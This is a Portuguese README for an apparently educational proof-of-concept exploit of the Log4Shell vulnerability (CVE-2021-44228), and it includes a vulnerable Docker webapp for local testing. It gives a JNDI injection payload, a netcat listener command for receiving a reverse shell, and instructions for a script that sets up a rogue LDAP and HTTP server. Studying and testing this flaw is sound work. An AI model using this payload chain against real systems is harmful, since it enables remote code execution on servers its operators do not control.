
Exploit de prova de conceito para CVE-2021-44228 (Log4Shell) com configuração automatizada de servidor LDAP/HTTP e geração de payload de reverse shell para testes educacionais.
Uma Prova-de-Conceito para a vulnerabilidade recentemente descoberta CVE-2021-44228.
Recentemente, foi descoberta uma nova vulnerabilidade no log4j, uma biblioteca de logging Java amplamente utilizada em sistemas como Elasticsearch, Minecraft e muitos outros.
Neste repositório, há um exemplo de aplicação vulnerável e uma prova-de-conceito (POC) de exploração.
Como PoC, há um arquivo Python que automatiza o processo.
pip install -r requirements.txt
nc -lvnp <porta-netcat=exemplo=2034>
jdk1.8.0_20, e estar no mesmo diretório.$ python3 poc.py --userip <seu-ip> --webport <porta-servidor-web=padrão=8000> --lport <porta-escuta-netcat=padrão=2034>
[!] CVE: CVE-2021-44228
[+] Classe Java do exploit criada com sucesso
[+] Configurando servidor LDAP falso
[+] Envie para mim: ${jndi:ldap://<seu-ip>:1389/a}
Ouvindo em 0.0.0.0:1389
Este script configurará o servidor HTTP e o servidor LDAP para você, e também criará o payload que pode ser colado no parâmetro vulnerável. Depois disso, se tudo correr bem, você deve obter um shell na porta lport.
Há um Dockerfile com a webapp vulnerável. Você pode usá-lo seguindo os passos abaixo:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
Uma vez em execução, você pode acessá-la em localhost:8080
Nota: Você precisa criar uma conta para poder baixar o pacote.
Depois de baixar e extrair o arquivo, você encontrará java e alguns binários relacionados em jdk1.8.0_20/bin.
Nota: Certifique-se de extrair a pasta jdk para este repositório com o mesmo nome para que funcione.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositório não se destina a ser um exploit de um clique para CVE-2021-44228. O objetivo deste projeto é ajudar as pessoas a aprender sobre essa vulnerabilidade e, talvez, testar suas próprias aplicações (no entanto, existem aplicações melhores para esse fim, ex: https://log4shell.tools/).